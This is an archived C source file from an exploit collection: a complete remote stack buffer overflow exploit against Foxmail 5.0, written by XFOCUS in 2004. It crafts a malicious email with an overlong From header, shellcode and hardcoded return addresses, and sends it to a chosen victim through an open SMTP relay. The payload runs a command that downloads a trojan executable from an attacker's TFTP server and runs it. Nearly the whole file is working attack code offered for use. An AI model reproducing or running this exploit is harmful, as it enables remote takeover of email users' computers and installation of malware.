home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / foxmail / foxmailFromEmailHeaderExpl.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  279 lines

  1. /* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit
  2. *
  3. * (C) COPYRIGHT XFOCUS Security Team, 2004
  4. * All Rights Reserved
  5. * -----------------------------------------------------------------------
  6. * Author   : xfocus <webmaster@xfocus.org>
  7. *          : http://www.xfocus.org
  8. * Maintain : XFOCUS Security Team <security@xfocus.org>
  9. * Version  : 0.2
  10. *
  11. * Test     : Windows 2000 server GB/XP professional
  12. *                + Foxmail 5.0.300.0
  13. * Notes    : unpublished vul.
  14. * Greets   : all member of XFOCUS Security Team.
  15. * Complie  : cl fmx.c
  16. * Usage    : fmx <mail_addr> <tftp_server> <smtp_server>
  17. *             mail_addr: email address we wantto hack
  18. *             tftp_server: run a tftp server and have a a.exe trojan
  19. *             smtp_server: SMTP server don't need login, we send the email thru it
  20. *
  21. * Date     : 2004-02-27
  22. * Revised  : 2004-03-05
  23. *
  24. * Revise History:
  25. * 2003-03-05  call WinExec() addr of Foxmail.exe module to run tftp for down&execute
  26. */
  27. #include <stdio.h>
  28. #include <stdlib.h>
  29. #include <windows.h>
  30.  
  31. #pragma comment (lib,"ws2_32")
  32.  
  33. //mail body, it's based on a real spam email, heh
  34. unsigned char packet[] =
  35. "From: %s\r\n" //buffer to overrun
  36. "Subject: Hi,man\r\n"
  37. "MIME-Version: 1.0\r\n"
  38. "Content-Type: multipart/mixed; boundary=\"87122827\"\r\n"
  39. "\r\n"
  40. "\r\n"
  41. "--87122827\r\n"
  42. "Content-Type: text/plain; charset=us-ascii\r\n"
  43. "Content-Transfer-Encoding: 7bit\r\n"
  44. "\r\n"
  45. "T\r\n"
  46. "\r\n"
  47. "--87122827\r\n"
  48. "Content-Disposition: attachment\r\n"
  49. "Content-Type: Text/HTML;\r\n"
  50. "  name=\"girl.htm\"\r\n"
  51. "Content-Transfer-Encoding: 7bit\r\n"
  52. "\r\n"
  53. "<html></html>\r\n"
  54. "--87122827--\r\n"
  55. "\r\n"
  56. ".\r\n";
  57.  
  58. //tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)
  59. unsigned char winexec[] =
  60. "\x83\xec\x50\xeb\x0c\xb9\x41\x10\xd3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";
  61.  
  62. //tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
  63. unsigned char winexec2[] =
  64. "\x83\xec\x50\xeb\x0c\xb9\x41\x10\xa3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";
  65.  
  66. #define SMTPPORT 25
  67. int  Make_Connection(char *address,int port,int timeout);
  68. int  SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);
  69.  
  70. int main(int argc, char * argv[])
  71. {
  72.     WSADATA WSAData;
  73.     char *mailaddr = NULL;
  74.     char *tftp = NULL;
  75.     char *smtpserver = NULL;
  76.  
  77.     if(argc!=4)
  78.     {
  79.         printf("Usage: %s <mail_addr> <tftp_server> <smtp_server>\ne.g.:%s eeye@hack.com 202.2.3.4 219.3.2.1\n", argv[0], argv[0]);
  80.         return 1;
  81.     }
  82.     mailaddr=argv[1];
  83.     tftp=argv[2];
  84.     smtpserver=argv[3];
  85.  
  86.     if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
  87.     {
  88.         printf("WSAStartup failed.\n");
  89.         WSACleanup();
  90.         exit(1);
  91.     }
  92.     
  93.     //WinExec() address
  94.     SendXMail(mailaddr, tftp, smtpserver, winexec);  //WinExec() address in Foxmail.exe module(foxmail 5.0.300)
  95.     SendXMail(mailaddr, tftp, smtpserver, winexec2);  //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
  96.  
  97.     WSACleanup();
  98.  
  99.     return 0;
  100. }
  101.  
  102. //  ╜¿┴óTCP┴¼╜╙
  103. //  ╩Σ╚δ:
  104. //       char * address  IP╡╪╓╖
  105. //       int  port       ╢╦┐┌
  106. //       int  timeout    ╤╙╩▒
  107. //  ╩Σ│÷:
  108. //  ╖╡╗╪:
  109. //       │╔╣ª >0
  110. //       ┤φ╬≤ <=0    
  111.  
  112. int Make_Connection(char *address,int port,int timeout)
  113. {
  114.     struct sockaddr_in target;
  115.     SOCKET s;
  116.     int i;
  117.     DWORD bf;
  118.     fd_set wd;
  119.     struct timeval tv;
  120.  
  121.     s = socket(AF_INET,SOCK_STREAM,0);
  122.     if(s<0)
  123.         return -1;
  124.  
  125.     target.sin_family = AF_INET;
  126.     target.sin_addr.s_addr = inet_addr(address);
  127.     if(target.sin_addr.s_addr==0)
  128.     {
  129.         closesocket(s);
  130.         return -2;
  131.     }
  132.     target.sin_port = htons(port);
  133.     bf = 1;
  134.     ioctlsocket(s,FIONBIO,&bf);
  135.     tv.tv_sec = timeout;
  136.     tv.tv_usec = 0;
  137.     FD_ZERO(&wd);
  138.     FD_SET(s,&wd);
  139.     connect(s,(struct sockaddr *)&target,sizeof(target));
  140.     if((i=select(s+1,0,&wd,0,&tv))==(-1))
  141.     {
  142.         closesocket(s);
  143.         return -3;
  144.     }
  145.     if(i==0)
  146.     {
  147.         closesocket(s);
  148.         return -4;
  149.     }
  150.     i = sizeof(int);
  151.     getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
  152.     if((bf!=0)||(i!=sizeof(int)))
  153.     {
  154.         closesocket(s);
  155.         return -5;
  156.     }
  157.     ioctlsocket(s,FIONBIO,&bf);
  158.     return s;
  159. }
  160.  
  161. //send magic mail
  162. int  SendXMail(    char *mailaddr, char *tftp, char *smtpserver, char *shellcode)
  163. {
  164.     SOCKET  csock;
  165.     int     ret,i=0;
  166.     char buf[510], sbuf[0x10000], tmp[500], tmp1[500];
  167.     csock = Make_Connection(smtpserver, SMTPPORT, 10);
  168.     if(csock<0)
  169.     {
  170.         printf("connect err.\n");
  171.         exit(1);
  172.     }
  173.  
  174.     memset(buf, 0, sizeof(buf));
  175.     ret=recv(csock, buf, 4096, 0);
  176.     if(ret<=0)
  177.     {
  178.         printf("recv err.\n");
  179.         exit(1);
  180.     }
  181.     printf(buf);
  182.  
  183.     ret=send(csock, "HELO server\r\n",strlen("HELO server\r\n"), 0);
  184.     if(ret<=0)
  185.     {
  186.         printf("send err.\n");
  187.         exit(1);
  188.     }
  189.     memset(buf, 0, sizeof(buf));
  190.     ret=recv(csock, buf, 4096, 0);
  191.     if(ret<=0)
  192.     {
  193.         printf("recv err.\n");
  194.         exit(1);
  195.     }
  196.     printf(buf);
  197.  
  198.     ret=send(csock, "MAIL FROM: info@sina.com\r\n",strlen("MAIL FROM: info@sina.com\r\n"), 0);
  199.     if(ret<=0)
  200.     {
  201.         printf("send err.\n");
  202.         exit(1);
  203.     }
  204.     memset(buf, 0, sizeof(buf));
  205.     ret=recv(csock, buf, 4096, 0);
  206.     if(ret<=0)
  207.     {
  208.         printf("recv err.\n");
  209.         exit(1);
  210.     }
  211.     printf(buf);
  212.     
  213.     sprintf(tmp, "RCPT TO: %s\r\n", mailaddr);
  214.     ret=send(csock, tmp,strlen(tmp), 0);
  215.     if(ret<=0)
  216.     {
  217.         printf("send err.\n");
  218.         exit(1);
  219.     }
  220.     memset(buf, 0, sizeof(buf));
  221.     ret=recv(csock, buf, 4096, 0);
  222.     if(ret<=0)
  223.     {
  224.         printf("recv err.\n");
  225.         exit(1);
  226.     }
  227.     printf(buf);
  228.     Sleep(1000);
  229.     
  230.     ret=send(csock, "DATA\r\n",strlen("DATA\r\n"), 0);
  231.     if(ret<=0)
  232.     {
  233.         printf("send err.\n");
  234.         exit(1);
  235.     }
  236.     memset(buf, 0, sizeof(buf));
  237.     ret=recv(csock, buf, 4096, 0);
  238.     if(ret<=0)
  239.     {
  240.         printf("recv err.\n");
  241.         exit(1);
  242.     }
  243.     printf(buf);
  244.  
  245.     printf("send exploit mail...\n");
  246.     memset(sbuf, 0, sizeof(sbuf));
  247.     memset(buf, 0, sizeof(buf));
  248.     memset(buf, 0x41, sizeof(buf)-1);
  249.     memset(tmp, 0, sizeof(tmp));
  250.     //strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)
  251.     strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module
  252.     strcat(tmp, "cmd /c tftp -i %s get a.exe&a.exe:");
  253.     sprintf(tmp1, tmp, tftp);
  254.     memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));
  255.     *(int *)(buf+0x100)=0x7ffa54cd;  //ret addr jmp esp
  256.     *(int *)(buf+0x104)=0x80eb80eb;  //jmp back
  257.     *(int *)(buf+0x108)=0x7ffdf220;  //writeable addr
  258.     *(int *)(buf+0x110)=0x7ffdf220;  //writeable addr
  259.     memcpy(buf, "girl\x0d", 5);
  260.     sprintf(sbuf, (char *)packet, buf);
  261.  
  262.     ret=send(csock, sbuf,strlen(sbuf), 0);
  263.     if(ret<=0)
  264.     {
  265.         printf("send err.\n");
  266.         exit(1);
  267.     }
  268.     memset(buf, 0, sizeof(buf));
  269.     ret=recv(csock, buf, 4096, 0);
  270.     if(ret<=0)
  271.     {
  272.         printf("recv err.\n");
  273.         exit(1);
  274.     }
  275.     printf(buf);
  276.     printf("exploit mail sent.\n");
  277.     closesocket(csock);
  278.     return 0;
  279. }